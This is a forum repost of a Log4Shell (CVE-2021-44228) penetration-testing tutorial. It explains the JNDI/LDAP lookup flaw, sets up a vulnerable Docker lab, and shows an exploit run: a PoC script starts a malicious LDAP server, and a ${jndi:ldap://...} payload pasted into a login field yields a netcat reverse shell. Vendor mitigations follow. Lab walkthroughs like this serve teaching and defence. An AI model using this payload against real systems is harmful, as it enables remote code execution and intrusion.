Jump to content
Nytro

A Detailed Guide on Log4J Penetration Testing

Recommended Posts

Posted

A Detailed Guide on Log4J Penetration Testing

In this article, we are going to discuss and demonstrate in our lab setup, the exploitation of the new vulnerability identified as CVE-2021-44228 affecting the java logging package, Log4J. This vulnerability has a severity score of 10.0, most critical designation and offers remote code execution on hosts engaging with software that uses log4j utility. This attack has also been called “Log4Shell”.

Table of Content

  1. Log4jShell
  2. What is log4j
  3. What is LDAP and JNDI
  4. LDAP and JNDI Chemistry
  5. Log4j JNDI lookup
  6. Normal Log4j scenario
  7. Exploit Log4j scenario
  8. Pentest Lab Setup
  9. Exploiting Log4j (CVE-2021-44228)
  10. Mitigation

Log4jshell

CVE-2021-44228

Description: Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in the configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

Vulnerability Type          Remote Code Execution

Severity                               Critical

Base CVSS Score               10.0

Versions Affected           All versions from 2.0-beta9 to 2.14.1

CVE-2021-45046

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern, resulting in an information leak and remote code execution in some environments and local code execution in all environments; remote code execution has been demonstrated on macOS but no other tested environments.

Vulnerability Type          Remote Code Execution

Severity                               Critical

Base CVSS Score               9.0

Versions Affected           All versions from 2.0-beta9 to 2.15.0, excluding 2.12.2

CVE-2021-45105

Apache Log4j2 versions 2.0-alpha1 through 2.16.0 did not protect from uncontrolled recursion from self-referential lookups. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process. This is also known as a DOS (Denial of Service) attack.

Vulnerability Type          Denial of Service

Severity                               High

Base CVSS Score               7.5

Versions Affected           All versions from 2.0-beta9 to 2.16.0

What is Log4J.

Log4j is a Java-based logging utility that is part of the Apache Logging Services. Log4j is one of the several Java logging frameworks which is popularly used by millions of Java applications on the internet.

What is LDAP and JNDI

LDAP (Lightweight Directory Access Protocol) is an open and cross-platform protocol that is used for directory service authentication. It provides the communication language that the application uses to communicate with other directory services. Directory services store lots of important information like, user accounts details, passwords, computer accounts, etc which are shared with other devices on the network.

JNDI (Java Naming and Directory Interface) is an application programming interface (API) that provides naming and directory functionality to applications written using Java Programming Language.

AVvXsEgOQnlSvaNMkYa_9XbBIVRzY3gAZO02Tiazjt-WHurkASyfAbapM8rZLIUp9BePvjq-JC2m2nXVX_P6uFVmzsk7pzN9GKxI0wxnzTbU1gS9DrZ-6p89rzFss7OkjN2lVaCvb5korXeNOxJxP5t_917AmPr6HkmTtUl7u0pFC2kMHcIvr4Y83cQ64hhXCQ=s16000

JNDI and LDAP Chemistry

JNDI provides a standard API for interacting with name and directory services using a service provider interface (SPI). JNDI provides Java applications and objects with a powerful and transparent interface to access directory services like LDAP. The table below shows the common LDAP and JNDI equivalent operations.

AVvXsEixvoVo98WtFTc0cozpeknfsNbnEQ6SiaoXw8Q1v7h-YkK6sOMHhwh4V-KmFJoZZzirKqper8PAusLSjIAs9n2ToD9jnspJUaHxqcok0vvjHLarXM_JR4fNhLPm_f5g-qhsWdD3VPYQ3-RoFpYs3ZFn6IQsVTNT1iJb9kETas9T1gzgA-Ljtsj8hrYi4Q=s16000

Log4J JNDI Lookup

Lookups are a kind of mechanism that add values to the log4j configuration at arbitrary places. Log4j has the ability to perform multiple lookups such as map, system properties and JNDI (Java Naming and Directory Interface) lookups.

Log4j uses the JNDI API to obtain naming and directory services from several available service providers: LDAP, COS (Common Object Services), Java RMI registry (Remote Method Invocation), DNS (Domain Name Service), etc. if this functionality is implemented, then we should this line of code somewhere in the program: ${jndi:logging/context-name}

A Normal Log4J Scenario

AVvXsEjjRJfgfugQqnMhK2bvwSaURO2kLn9OiUSZYLCVPte_bygG_sqdupugk90QxmJsVRXw85l-uhM_4C4Looo1-BpbpMHH3CxAWQsVr_yyoyllFuTKryCjxgRBVJW2hdz0MN0r9YZPpbEmogkv82Dbn01P9qqs8HmjdSxCvDO08DK7dWhR4FbavyC3pDy4nA=s16000

The above diagram shows a normal log4j scenario.

Exploit Log4j Scenario

An attacker who can control log messages or log messages parameters can execute arbitrary code on the vulnerable server loaded from LDAP servers when message lookup substitution is enabled. As a result, an attacker can craft a special request that would make the utility remotely downloaded and execute the payload.

 Below is the most common example of it using the combination of JNDI and LDAP: ${jndi:ldap://<host>:<port>/<payload>}

AVvXsEidEMI1h0RBjhmu1XX4W9I6SDgun-awCxYc-AdufginA1EuM0ZWeQYwWmFOI4lxoDgLEfJ76NkqOAFJCR36HoYpoaaHyM1lZgUuiShruKCt1dyJx_fqkIpiGx5jOMwhvDDv1IuLuTZYBvItGJQTF5uPqJnDH_4AyPps51NBMnvkp9H3R_hJ5sTAJFYttA=s16000

  1. An attacker inserts the JNDI lookup in a header field that is likely to be logged.
  2. The string is passed to log4j for logging.
  3. Log4j interpolates the string and queries the malicious LDAP server.
  4. The LDAP server responds with directory information that contains the malicious Java Class.
  5. Java deserialize (or download) the malicious Java Class and executes it.

Pentest Lab Setup

In the lab setup, we will use Kali VM as the attacker machine and Ubuntu VM as the target machine. So let’s prepare the ubuntu machine. 

git clone https://github.com/kozmer/log4j-shell-poc.git

AVvXsEiz9YBroEqpp0tEMmcYj7iIU8-lhOJXCSL8qGo_cdpyCDHO2z9OguOeS6TKGeklAzhXuMYGF2kOcAI71jLZ-V1sp4p9PBEOR-knZBA3yJxhw7WHOkmeJCkSvlvYDN5LZLoPIlZ_J8GJO60VPEWSGm7-lvHD5Jm2mz3FCyRJQ3kDLVZYctA9LSMCTp_Plg=s16000

Once the git clone command has been completed, browse to the log4j-shell-poc directory: Once inside that directory, we can now execute the docker command:

cd log4j-shell-poc
docker build -t log4j-shell-poc .

AVvXsEhfG-eMKNkLO0u-QS8BieI9RJfUdKe1f8F82ooq7IQoFlXvCEX5BoaENV-4B3no6VMozRMXiNj-cCILeJNDiIFFoVARHct4XU2Lv1bEUNm1Tn8GW74JDwwq0lAxuL7uFPg74IsYTMxMSrCp8k7CTRBISMeVejwQK9rQq8V_DhpeBtGa1Akx6wFRfimr4g=s16000

After that, run the second command on the github page:

docker run --network host log4j-shell-poc

These commands will enable us to use the docker file with a vulnerable app.

AVvXsEg6oylSPHEz2ZrD_1mVw6i8E65s0GmYLByUHohMgWHhicDtpRdBulgww-QKvRcgXUy4ysEQQT_IiSGiPx0rmlOpywX9ENuikUvEsppAirEva-DI42mkjvAKnBSHK-qK3P0Pfo69-jTwBNgimDlt2-xYHI_x16UDlbXG601_Cd708KsH2oLuOyYGgKdFMg=s16000

Once completed, we have our vulnerable webapp server ready. Now let’s browse to the target IP address in our kali’s browser at port 8080.

AVvXsEjq-2xFO4Ji2yR0JnpncUgfQXxQr7T0oOLcB1mhfWeFPbwmcy8p2uTTIYQWhlNz4AIxNtmgqMNsjrEPG_T-o6M95lW9190j5PkJMv4eFN9oCEtPHx-og8YXpSaAlSN-QNnDsg4ywia80wE8Dr64eyA0UjeTtNOf0cZWlZJE0cmLS2fs35U2TYuPav_NJw=s16000

So, this is the docker vulnerable application and the area which is affected by this vulnerability is the username field. It is here that we are going to inject our payload. So now, the lab setup is done. We have our vulnerable target machine up and running. Time to perform the attack.

Exploiting Log4j (CVE-2021-44228)

On the kali machine, we need to git clone the same repository. So type the following command:

git clone https://github.com/kozmer/log4j-shell-poc.git

AVvXsEgrQAMs8GiS5_OAzpA5Z6Jmz8uDW6KiXiHF85x5pUwK9saKR8NO6K7E6oY6m6hPzkaIZNogreRUNFVP8-juULZPWzBFRCRg7rdnYXEUIycBwWM0d9QKTF9hMIb1f3P-JDTQ2QcMPZseFB4xy3wLUgj5Ma9-FHCHLEQfJidvpZISy8F8gv_e1gixAzaYQw=s16000

Now we need to install the JDK version. This can be downloaded at the following link.

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Click on the correct version and download that inside the Kali Linux.

AVvXsEj-kB_-nH_g3MMzwTQjqXGGKD3F0SVU9myzTg-IDQB3UlDXwzySyGjn94QOfmGYSPaUHNCbq0X6p6fuJeSBL-GXtSClZQpQIe4yhpOf3gLlxwyh3abfwuNAgbmROke0A1m5D_TQ-IDBd8uon5iYxM0PdlLrJogR3gBMHne321m4lSzRrvPbOHN4MeXDHg=s16000

Now go to the download folder and unzip that file by executing the command then move the extracted file to the /usr/bin folder

tar -xf jdk-8u202-linux-x64.tar.gz
mv jdk-8u202 /usr/bin
cd /usr/bin

AVvXsEiiFs2kREegzw-qqMU2kV5Dei0pS5em_oDbCXPHbHMjdKuSkFy0N_OtLwBEU8J9amZ1bahYTuGmBc8oo4M4m_innx_YKuhdCGA7ypHGGkln6W9B0RwqZd_8WT5Pa7bzjoBXjDlciUZOgZZxeeQjVd_5s1sWtU5L0f66U_zyuZpPtfx1Zba_xM0JJesvhQ=s16000

Once verified, let’s exit from this directory and browse to the log4j-shell-poc directory. That folder contains a python script, poc.py which we are going to configure as per our lab setup settings. Here you need to modify ‘./jdk1.8.2.20/’ to ‘/usr/bin/jdk1.8.0_202/ as highlighted. what we have done here is we have to change the path of the java location and the java version in the script.

AVvXsEgaPVvub9rwKmx4hQ1m9_aNSh_HnbYb79klNtuSiw7j-DOic6k4uFLx-LQI7CFLp8J8KqSkG711-PTKLFMY8KGhoHI9mVdatwbu3gW6PtR0PxOI_LBn12QnwC-60AEsxUJGCyHsUupjwmZdSCOXaJVCJ_an7YlWknhdvKCD1z8dtqtwW3RACyS93YUjRQ=s16000

Now that all changes have been made, we need to save the file and get ready to start the attack. In attacker machine, that is the Kali Linux, we will access the docker vulnerable webapp application inside a browser by typing the IP of the ubuntu machine:8080

Now let’s initiate a netcat listener and start the attack.

AVvXsEig0sLXy4Tzk52oCUKcnt57OgpkMcxyJqOubDGExUISZ3LDaqrG0PcOoGy4XKhS-qcLSyLctj_dkxm98Ga2pWuqTMkl8eRDWU9CxGoC9ZPe4sJz4pOX5oHRUNwMQ19yu8y5SFzPBf3t8dK5NzdEKBPNVMAfr5KfdG4eeHq642BljHJbOW-0gBZ_gdQU9A=s16000

Type the following command

python3 poc.py --userip 192.168.29.163 --webport 8000 --lport 9001

in a terminal. Make sure you are in the log4j-shell-poc directory when executing the command.

AVvXsEiarK268hBuH7J1-jl8X8EVvMpg7PYZlpOZHY8YzeGpUebfw4d-qScofSvkv2EYGyObcB7gBoniu3Cig-_i4EictJH_s9lKIgkKd1rNDLyGs4rkf2hNp7U1415j4qc7Puwb-RUwRd4e7rtVsqBNK6nV-disuSJPAgE4t0NgtQF4oXEpjl8grgEPg7lWKg=s16000

This script started the malicious local LDAP server.

Now let Copy the complete command after send me:

${jndi:ldap://192.168.29.163:1389/a}

paste it inside the browser in the username field. This will be our payload. In the password field, you can provide anything.

AVvXsEhAdQl_O-rdemi_dQx-ok4O9HuEU2nyMRQyelumL2pFXYy1QQ8531Mv8giLb4Qxr811L1vo9YE8mC7tl-SUTmKtGqDRht3xGP6dAWEZ0Pxj55pFLCX8DKthZrx78sJcvVaeFpvJpPLcoJW5UjQ6yYOvrRXWAcNB98WCIv72tWn0b0Jp3Ab12Z6h8lw8gw=s16000

Click on the login button to execute the payload. Then switch to the netcat windows where we should get a reverse shell.

AVvXsEjF3wNOYmoFhs_PCcPj4We37Ps-bUsRxZGt-DCjax18sTMRQA0ufYRPoavAEomKY7c-FLfikHQNvk8-hcQqlzfGhv1p_6mmWrd_b7z5PfQAvfJ71N39fTlKiCQFFe3RtCw_hIzANeoHSaeaDsb5QhlF_wdOUIUU0lz6LGhxxlt6pklEKdTNShFuhD58qA=s16000

We are finally inside that vulnerable webapp docker image.

Mitigation

CVE-2021-44228: Fixed in Log4j 2.15.0 (Java 😎

Implement one of the following mitigation techniques:

  • Java 8 (or later) users should upgrade to release 2.16.0.
  • Java 7 users should upgrade to release 2.12.2.
  • Otherwise, in any release other than 2.16.0, you may remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • Users are advised not to enable JNDI in Log4j 2.16.0. If the JMS Appender is required, use Log4j 2.12.2

CVE-2021-45046: Fixed in Log4j 2.12.2 (Java 7) and Log4j 2.16.0 (Java 😎

Implement one of the following mitigation techniques:

  • Java 8 (or later) users should upgrade to release 2.16.0.
  • Java 7 users should upgrade to release 2.12.2.
  • Otherwise, in any release other than 2.16.0, you may remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • Users are advised not to enable JNDI in Log4j 2.16.0. If the JMS Appender is required, use Log4j 2.12.2.

CVE-2021-45105: Fixed in Log4j 2.17.0 (Java 😎

Implement one of the following mitigation techniques:

  • Java 8 (or later) users should upgrade to release 2.17.0.
  • In PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC).
  • Otherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.

To read more about mitigation, you can access the following  link https://logging.apache.org/log4j/2.x/security.html

Author: Tirut Hawoldar is a Cyber Security Enthusiast and CTF player with 15 years of experience in IT Security and Infrastructure. Can be Contacted on LinkedIn

 

Sursa: https://www.hackingarticles.in/a-detailed-guide-on-log4j-penetration-testing/

  • Upvote 3

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...